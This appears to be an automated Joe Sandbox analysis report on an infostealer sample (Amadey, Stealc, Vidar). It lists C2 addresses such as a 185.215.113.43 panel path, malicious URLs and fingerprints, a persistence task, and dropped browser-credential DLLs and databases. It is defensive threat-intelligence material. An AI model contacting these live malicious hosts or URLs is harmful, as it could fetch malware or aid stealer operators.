2.16.158.88, 172.165.69.228, 104.86.110.9, 104.86.110.19, 142.251.40.195, 142.251.35.163, 142
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, a1858.dscd.akamai.net, config.
Execution Graph export aborted for target DocumentsIDGHDGIDAK.exe, PID 3348 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7944 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8724 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:08:54	API Interceptor	148x Sleep call for process: file.exe modified
11:10:02	API Interceptor	237x Sleep call for process: skotes.exe modified
17:09:17	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.1.248.118	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://ecouterrepondeurvocal.pro/35-hnJZib	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.30295.4008.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.2497.16579.exe	Get hash	malicious	RisePro Stealer	Browse
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, CredGrabber, Credential Flusher, Cryptbot, LummaC Stealer, Meduza Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Tygvfe21rw.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
play.google.com	View_alert_details IJPI.html	Get hash	malicious	Unknown	Browse	172.217.19.238
	http://cl4ycra.hgzcbqsqumhkfshql.com/kxosbfkve	Get hash	malicious	Unknown	Browse	172.217.19.206
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.217.19.206
	https://ex.securemail.intermedia.net/login.html?msgUserId=3883fff1970b5d7b&enterprise=aurorahealth&rrRegcode=Thzq6kFB&locale=en_US	Get hash	malicious	Unknown	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.217.19.206
	[EXTERNAL] Oakville shared ''o_akville_853473074_21.11.2024''.eml	Get hash	malicious	Unknown	Browse	172.217.19.206
	http://powerspecinc.com	Get hash	malicious	Unknown	Browse	172.217.19.206
	file.exe	Get hash	malicious	Cryptbot	Browse	142.250.186.46
	http://bleedingofficecontagion.com	Get hash	malicious	Unknown	Browse	142.250.185.110
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	3.160.188.18
	file.exe	Get hash	malicious	Unknown	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.165.220.57
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.32.99.21
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.99.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://mike@mikestavlund.com	Get hash	malicious	Unknown	Browse	20.120.240.130
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Michael Stavlund .lnk	Get hash	malicious	Unknown	Browse	20.120.240.130
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.163.215.100
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	51.134.29.10
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	20.181.11.248
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.153.26.142
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	52.246.197.251
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://mike@mikestavlund.com	Get hash	malicious	Unknown	Browse	20.120.240.130
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Michael Stavlund .lnk	Get hash	malicious	Unknown	Browse	20.120.240.130
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.163.215.100
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	51.134.29.10
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	20.181.11.248
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.153.26.142
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	52.246.197.251
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, CredGrabber, Credential Flusher, Cryptbot, LummaC Stealer, Meduza Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC Stealer	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	173.222.162.55
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.55
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.55
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	https://insights.zohorecruit.com/ck1/2d6f.390d3f0/70932e40-a754-11ef-acd6-525400d4bb1c/c4b396bcef628ee60a3903dd64a571f46a43eb4a/2?e=AP6yJbny%2BojaTRJMo4YN29y4982EEh70QglqvV8aiCoCwftyNixblJXLnLCBIbU9pdrCb4rbSvPbWtRnPycgQw%3D%3D	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	https://drive.google.com/uc?export=download&id=11w_oRLtDWJl2z1SKN0zkobTHd_Ix44t9	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	https://%D0%BD-%D0%BF%D0%BE%D0%BB.%D1%80%D1%84/bitrix/redirect.php?goto=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=amp%2F%6D%6F%78%78%2E%63%6F%6D%2E%62%64%2F%63%67%69%2E%62%69%6E%2F%79%39%33%64%33%63%75%5A%58%5A%6C%62%6E%52%69%63%6D%6C%30%5A%53%35%6A%62%32%30%76%5A%53%39%69%63%6D%56%68%61%32%5A%68%63%33%51%30%59%32%56%76%63%79%31%77%63%6D%56%7A%5A%57%35%30%63%79%31%30%61%57%4E%72%5A%58%52%7A%4C%54%45%32%4F%54%59%31%4E%54%63%30%4E%7A%6B%77%4F%54%39%79%2F%23bWJsYW5kQHNlY3VydXN0ZWNobm9sb2dpZXMuY29t	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	file.exe	Get hash	malicious	RedLine, SectopRAT	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	https://nyulh.cctrialsuite.com/	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	Payment CCF20240531_0002.html	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55
	http://cl4ycra.hgzcbqsqumhkfshql.com/kxosbfkve	Get hash	malicious	Unknown	Browse	20.109.210.53 172.202.163.200 13.107.246.63 20.190.147.11 2.23.161.164 173.222.162.55

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDBGHJKFIDHJJJEBKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1808), with CRLF line terminators
Category:	dropped
Size (bytes):	10489
Entropy (8bit):	5.49400008804932
Encrypted:	false
SSDEEP:	192:HnBRNC3YbBp6lR1+PaX56/x8lSz9/3/OHNBw8DXSl:Oee1M/xbUPwO0
MD5:	C285AF56A69C639A033B77359FEDE8A7
SHA1:	676A4F90E2ED82CB9ABEE7DAFC3A25D984B380EE
SHA-256:	ECF63A7733385EB825D49B5B351C0687E383F309D6849BE1C7AC06A1CD4E94B2
SHA-512:	53ABAF224CE47D77A6883AFCE25089C12D8362B4BCC01D94F94DF846C9F24AAFB2004502B7E3D5DC512E764B1EFB0B0E1FFC39FA5A423F82EA4E61B83E4E292E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "ecedec8f-7097-47fc-a9e3-d74f0c8e2503");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696499493);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696499494);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBKKKEGIDBGHIDGDHDBFHDAKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCAEGDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651340721566258
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMKSAELyKOMq+8wH0hLUZsrhVum3:K0q+n0JK9ELyKOMq+8I0hAOl
MD5:	37DA6F46D18D6FC2A0BD189976210F5B
SHA1:	DEBA7813426BAFB0E3798CE7161B750972430FC6
SHA-256:	6D0FA29F1C3492EB18D2C0E97326C6CA8B8F63F0BB9B53B5290699A33258709D
SHA-512:	0A5635DD127447D9FE00B1C7EB26E64B0EA5909115E1F62611A22C62514EEAA37BEFFD1228BDF554B34AED2B25B740D80278C1614BCD94B2DEA85385E56F0543
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBGHCGCAEBFIJKFIDBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJDHDAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1368932887859682
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/k4:MnlyfnGtxnfVuSVumEHFs4
MD5:	9A534FD57BED1D3E9815232E05CCF696
SHA1:	916474D7D073A4EB52A2EF8F7D9EF9549C0808A1
SHA-256:	7BB87D8BC8D49EECAB122B7F5BCD9E77F77B36C6DB173CB41E83A2CCA3AC391B
SHA-512:	ADE77FBBDE6882EF458A43F301AD84B12B42D82E222FC647A78E5709554754714DB886523A639C78D05BC221D608F0F99266D89165E78F76B21083002BE8AEFF
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDGDAAKFHIEHIECAFBAAEBKFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03799545499236577
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZru/bNb/fc3DDTnHI:58r54w0VW3xWZrwbFHc3T
MD5:	96AB9233CA2AB3982F98B1BA44CFFE32
SHA1:	A72C6AF1881274392B7D73594D78C4D3F1B91428
SHA-256:	C764FE5DA2665335A3C2E60091F08E21A16CEC35EFD453AE092FEB1D7C3D69BC
SHA-512:	E09E96834C049E56FE5E9A56BA1635CA6A4FB5DF2F2EB8F339C94D4BCF2D24150592B2833D084BD4BD7D0319B4D5C493B5B49A64310E084684375D645DD8CEEC
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJKEBKFCAAECAAAAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
